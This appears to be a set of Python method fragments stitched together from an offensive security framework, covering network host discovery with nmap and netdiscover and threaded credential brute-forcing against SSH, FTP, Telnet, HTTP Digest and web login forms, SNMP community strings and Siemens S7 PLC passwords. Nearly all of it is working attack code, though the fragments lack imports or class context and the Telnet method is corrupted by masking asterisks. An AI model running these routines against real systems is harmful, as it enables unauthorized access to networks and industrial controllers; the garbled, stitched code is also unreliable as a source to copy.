def run(self):
try:
arguments = "-T{s} -n -PR -sn "
nm = nmap.PortScanner()
nm.scan(hosts=self.target, arguments=arguments.format(s=self.speed))
for host in nm.all_hosts():
try:
ipv4 = nm[host]['addresses']['ipv4']
mac = nm[host]['addresses']['mac']
vendor = nm[host]['vendor'][mac]
except Exception as e:
if 'mac' in str(e):
mac = 'Unknown'
vendor = 'Unknown'
if 'vendor' in str(e):
vendor = 'Unknown'
finally:
self.result.append([ipv4, mac, vendor])
ipv4 = ""
mac = ""
vendor = ""
unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
unique_device = sorted(unique_device, key=lambda x: (x[0], x[1]))
if len(self.result) > 0:
print_success("Found %s devices." % len(self.result))
printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50})
print('\r')
self.result = []
else:
print_error("Didn't find any device on network %s" % self.target)
except:
print_error("Discovery Error. Aborting.")
def attack(self):
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" %
(self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request(method="GET", url=url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Digest Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = itertools.product(usernames, passwords)
with Threads.ThreadPoolExecutor(self.threads) as executor:
for record in collection:
executor.submit(self.target_function, url, record)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" %
(self.target, str(self.port)))
ftp.close()
return
except:
pass
ftp.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(
self.target, self.port))
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request("GET", url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Digest Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
with Threads.ThreadPoolExecutor(self.threads) as executor:
for record in defaults:
username, password = record.split(':')
executor.submit(self.target_function, url, username, password)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
defaults.close()
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port,
self.get_form_path()))
try:
requests.get(url, verify=False)
except (requests.exceptions.MissingSchema,
requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
form_data = self.detect_form()
if form_data is None:
print_error("Could not detect form")
return
(form_action, self.data) = form_data
if form_action:
self.path = form_action
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
printTable(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
# todo: check if service is up
if self.snmp.startswith('file://'):
snmp = open(self.snmp[7:], 'r')
else:
snmp = [self.snmp]
collection = LockedIterator(snmp)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = ("Target", "Port", "Community Strings")
printTable(headers, *self.strings)
else:
print_error("Valid community strings not found")
def attack(self):
# todo: check if service is up
if self.password.startswith('file://'):
s7_pass = open(self.password[7:], 'r')
else:
s7_pass = [self.password]
collection = LockedIterator(s7_pass)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = ("Target", "Port", "password")
printTable(headers, *self.strings)
else:
print_error("Valid password not found")
def run(self):
self.result = []
#conf.verb = self.verbose
nm = port_scan(protocol='TCP', target=self.target, port=self.port)
for host in nm.all_hosts():
if nm[host]['tcp'][self.port]['state'] == "open":
print_success("Host: %s, port:%s is open" % (host, self.port))
self.get_target_info(host=host, port=self.port)
unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))
if len(self.result) > 0:
print_success("Find %s targets" % len(self.result))
printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 20})
print('\r')
else:
print_error("Didn't find any target on network %s" % self.target)
def run(self):
try:
try:
if self.target == "":
if self.mode == 'active':
p = subprocess.Popen(['netdiscover', '-i', self.iface, '-P', '-N'], stdout=subprocess.PIPE)
else:
p = subprocess.Popen(['netdiscover', '-i', self.iface, '-p', '-P', '-N'],
stdout=subprocess.PIPE)
else:
if self.mode == 'active':
p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-P', '-N'],
stdout=subprocess.PIPE)
else:
p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-p', '-P', '-N'],
stdout=subprocess.PIPE)
output, error = p.communicate(timeout=self.timeout)
except:
p.kill()
output, error = p.communicate()
for x in output.decode().split('\n'):
if x != "":
if len(x.split()) >= 5:
self.result.append([x.split()[0],x.split()[1],x.split()[2], x.split()[3], " ".join(x.split()[4:])])
else:
self.result.append([x.split()[0], x.split()[1], x.split()[2], x.split()[3], ""])
unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
unique_device = sorted(unique_device, key=lambda x: (x[0], x[1]))
if len(self.result) > 0:
print_success("Found %s devices." % len(self.result))
printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50})
print('\r')
self.result = []
else:
print_error("Didn't find any device on network %s" % self.target)
except Exception as e:
print_error(e)
print_error("Discovery Error. Aborting. May increase timeout.")
